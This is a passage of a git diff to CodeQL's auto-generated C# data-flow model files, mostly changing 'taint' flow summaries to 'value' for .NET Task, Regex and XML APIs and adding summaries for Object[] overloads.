a/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml b/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml index 83ab228ce7ce..b51a6406d817 100644 --- a/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml +++ b/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml @@ -12,7 +12,7 @@ extensions: - ["System.Text.RegularExpressions", "GroupCollection", False, "TryGetValue", "(System.String,System.Text.RegularExpressions.Group)", "", "Argument[this].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "GroupCollection", False, "get_Keys", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.RegularExpressions", "GroupCollection", False, "get_Values", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.RegularExpressions", "Match", False, "NextMatch", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Text.RegularExpressions", "Match", False, "NextMatch", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Text.RegularExpressions", "Match", False, "Synchronized", "(System.Text.RegularExpressions.Match)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "Regex+ValueMatchEnumerator", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "Regex+ValueMatchEnumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml b/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml index 81a2c7cfbb4b..ec75fcd17853 100644 --- a/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml +++ b/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml @@ -17,13 +17,13 @@ extensions: - ["System.Threading.Tasks", "Task", False, "FromCanceled", "(System.Threading.CancellationToken)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "GetAwaiter", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WhenAny", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WhenAny", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WhenAny", "(System.Threading.Tasks.Task,System.Threading.Tasks.Task)", "", "Argument[0]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "value", "dfc-generated"] @@ -33,11 +33,11 @@ extensions: - ["System.Threading.Tasks", "Task", False, "WhenEach", "(System.Threading.Tasks.Task[])", "", "Argument[0].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["System.Threading.Tasks", "Task", False, "get_AsyncState", "()", "", "Argument[this].SyntheticField[System.Threading.Tasks.Task.m_stateObject]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading.Tasks", "Task", False, "ConfigureAwait", "(System.Threading.Tasks.ConfigureAwaitOptions)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "TaskAsyncEnumerableExtensions", False, "ConfigureAwait", "(System.IAsyncDisposable,System.Boolean)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "TaskAsyncEnumerableExtensions", False, "ConfigureAwait", "(System.Collections.Generic.IAsyncEnumerable,System.Boolean)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "TaskAsyncEnumerableExtensions", False, "ToBlockingEnumerable", "(System.Collections.Generic.IAsyncEnumerable,System.Threading.CancellationToken)", "", "Argument[0].Property[System.Collections.Generic.IAsyncEnumerator`1.Current]", "ReturnValue.Element", "value", "dfc-generated"] @@ -166,7 +166,7 @@ extensions: - ["System.Threading.Tasks", "ValueTask", False, "AsTask", "()", "", "Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._result]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "value", "dfc-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ConfigureAwait", "(System.Boolean)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "ValueTask", False, "GetAwaiter", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "ValueTask", False, "Preserve", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "ValueTask", False, "Preserve", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ValueTask", "(System.Threading.Tasks.Sources.IValueTaskSource,System.Int16)", "", "Argument[0]", "Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj]", "value", "dfc-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ValueTask", "(System.Threading.Tasks.Task)", "", "Argument[0]", "Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml index 664da0ce88ab..c894e3eb5f68 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml @@ -32,7 +32,9 @@ extensions: - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "AddFirst", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XContainer", False, "AddFirst", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "DescendantNodes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Descendants", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Descendants", "(System.Xml.Linq.XName)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -43,6 +45,7 @@ extensions: - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "get_FirstNode", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "get_LastNode", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XDeclaration", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Xml.Linq.XDeclaration._encoding]", "ReturnValue", "taint", "dfc-generated"] @@ -96,9 +99,11 @@ extensions: - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "SetAttributeValue", "(System.Xml.Linq.XName,System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "SetAttributeValue", "(System.Xml.Linq.XName,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "SetElementValue", "(System.Xml.Linq.XName,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] @@ -120,7 +125,9 @@ extensions: - ["System.Xml.Linq", "XNamespace", False, "get_NamespaceName", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNamespace", False, "op_Addition", "(System.Xml.Linq.XNamespace,System.String)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Xml.Linq.XName._ns]", "value", "dfc-generated"] - ["System.Xml.Linq", "XNode", False, "AddAfterSelf", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XNode", False, "AddAfterSelf", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "AddBeforeSelf", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XNode", False, "AddBeforeSelf", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "Ancestors", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "Ancestors", "(System.Xml.Linq.XName)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "CreateReader", "(System.Xml.Linq.ReaderOptions)", "", "Argument[this]", "ReturnValue.SyntheticField[System.Xml.Linq.XNodeReader._source]", "value", "dfc-generated"] @@ -130,6 +137,7 @@ extensions: - ["System.Xml.Linq", "XNode", False, "ReadFrom", "(System.Xml.XmlReader)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "ReadFromAsync", "(System.Xml.XmlReader,System.Threading.CancellationToken)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "ReplaceWith", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XNode", False, "ReplaceWith", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "get_NextNode", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", True, "WriteTo", "(System.Xml.XmlWriter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", True, "WriteToAsync", "(System.Xml.XmlWriter,System.Threading.CancellationToken)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -170,7 +178,6 @@ extensions: - ["System.Xml.Linq", "XCData", "XCData", "(System.Xml.Linq.XCData)", "summary", "df-generated"] - ["System.Xml.Linq", "XCData", "get_NodeType", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XComment", "get_NodeType", "()", "summary", "df-generated"] - - ["System.Xml.Linq", "XContainer", "AddFirst", "(System.Object[])", "summary", "df-generated"] - ["System.Xml.Linq", "XContainer", "CreateWriter", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XContainer", "RemoveNodes", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XDocument", "LoadAsync", "(System.IO.Stream,System.Xml.Linq.LoadOptions,System.Threading.CancellationToken)", "summary", "df-generated"] @@ -226,8 +233,6 @@ extensions: - ["System.Xml.Linq", "XNamespace", "get_Xmlns", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNamespace", "op_Equality", "(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace)", "summary", "df-generated"] - ["System.Xml.Linq", "XNamespace", "op_Inequality", "(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace)", "summary", "df-generated"] - - ["System.Xml.Linq", "XNode", "AddAfterSelf", "(System.Object[])", "summary", "df-generated"] - - ["System.Xml.Linq", "XNode", "AddBeforeSelf", "(System.Object[])", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "CompareDocumentOrder", "(System.Xml.Linq.XNode,System.Xml.Linq.XNode)", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "CreateReader", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "DeepEquals", "(System.Xml.Linq.XNode,System.Xml.Linq.XNode)", "summary", "df-generated"] @@ -237,7 +242,6 @@ extensions: - ["System.Xml.Linq", "XNode", "IsBefore", "(System.Xml.Linq.XNode)", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "NodesBeforeSelf", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "Remove", "()", "summary", "df-generated"] - - ["System.Xml.Linq", "XNode", "ReplaceWith", "(System.Object[])", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "ToString", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "ToString", "(System.Xml.Linq.SaveOptions)", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "get_DocumentOrderComparer", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml index cedc13ddbb95..39b763ee7b6e 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml @@ -8,6 +8,7 @@ extensions: - ["System.Xml.Resolvers", "XmlPreloadedResolver", False, "get_PreloadedUris", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Resolvers", "XmlPreloadedResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml.Resolvers", "XmlPreloadedResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] + - ["System.Xml.Resolvers", "XmlPreloadedResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel diff --git a/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml index 98ddebacb8cb..c923c9ce24f9 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml @@ -36,14 +36,15 @@ extensions: - ["System.Xml.Schema", "XmlSchemaComplexContentRestriction", False, "get_Attributes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaComplexType", False, "get_AttributeWildcard", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaComplexType", False, "get_ContentTypeParticle", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaElement", False, "get_ElementSchemaType", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -80,12 +81,12 @@ extensions: - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.String,System.Xml.XmlReader)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.String,System.Xml.XmlReader)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchemaSet)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "CopyTo", "(System.Xml.Schema.XmlSchema[],System.Int32)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Remove", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Reprocess", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaSet", False, "Reprocess", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaSet", False, "Reprocess", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Schemas", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Schemas", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "XmlSchemaSet", "(System.Xml.XmlNameTable)", "", "Argument[0]", "Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaSet._nameTable]", "value", "dfc-generated"] @@ -109,7 +110,7 @@ extensions: - ["System.Xml.Schema", "XmlSchemaValidator", False, "Initialize", "(System.Xml.Schema.XmlSchemaObject)", "", "Argument[0]", "Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaValidator._partialValidationType]", "value", "dfc-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "SkipToEndElement", "(System.Xml.Schema.XmlSchemaInfo)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateElement", "(System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateElement", "(System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] @@ -121,7 +122,7 @@ extensions: - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "XmlSchemaValidator", "(System.Xml.XmlNameTable,System.Xml.Schema.XmlSchemaSet,System.Xml.IXmlNamespaceResolver,System.Xml.Schema.XmlSchemaValidationFlags)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml b/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml index 713f0d5c0f60..1a57b599d188 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml @@ -8,6 +8,7 @@ extensions: - ["System.Xml.XPath", "Extensions", False, "CreateNavigator", "(System.Xml.Linq.XNode,System.Xml.XmlNameTable)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._source]", "value", "dfc-generated"] - ["System.Xml.XPath", "Extensions", False, "CreateNavigator", "(System.Xml.Linq.XNode,System.Xml.XmlNameTable)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._nameTable]", "value", "dfc-generated"] - ["System.Xml.XPath", "IXPathNavigable", True, "CreateNavigator", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.XPath", "IXPathNavigable", True, "CreateNavigator", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Xml.XPath", "XDocumentExtensions", False, "ToXPathNavigable", "(System.Xml.Linq.XNode)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.XPath", "XPathDocument", False, "XPathDocument", "(System.Xml.XmlReader,System.Xml.XmlSpace)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathException", True, "get_Message", "()", "", "Argument[this].Property[System.Exception.Message]", "ReturnValue", "value", "dfc-generated"] @@ -17,7 +18,7 @@ extensions: - ["System.Xml.XPath", "XPathExpression", True, "SetContext", 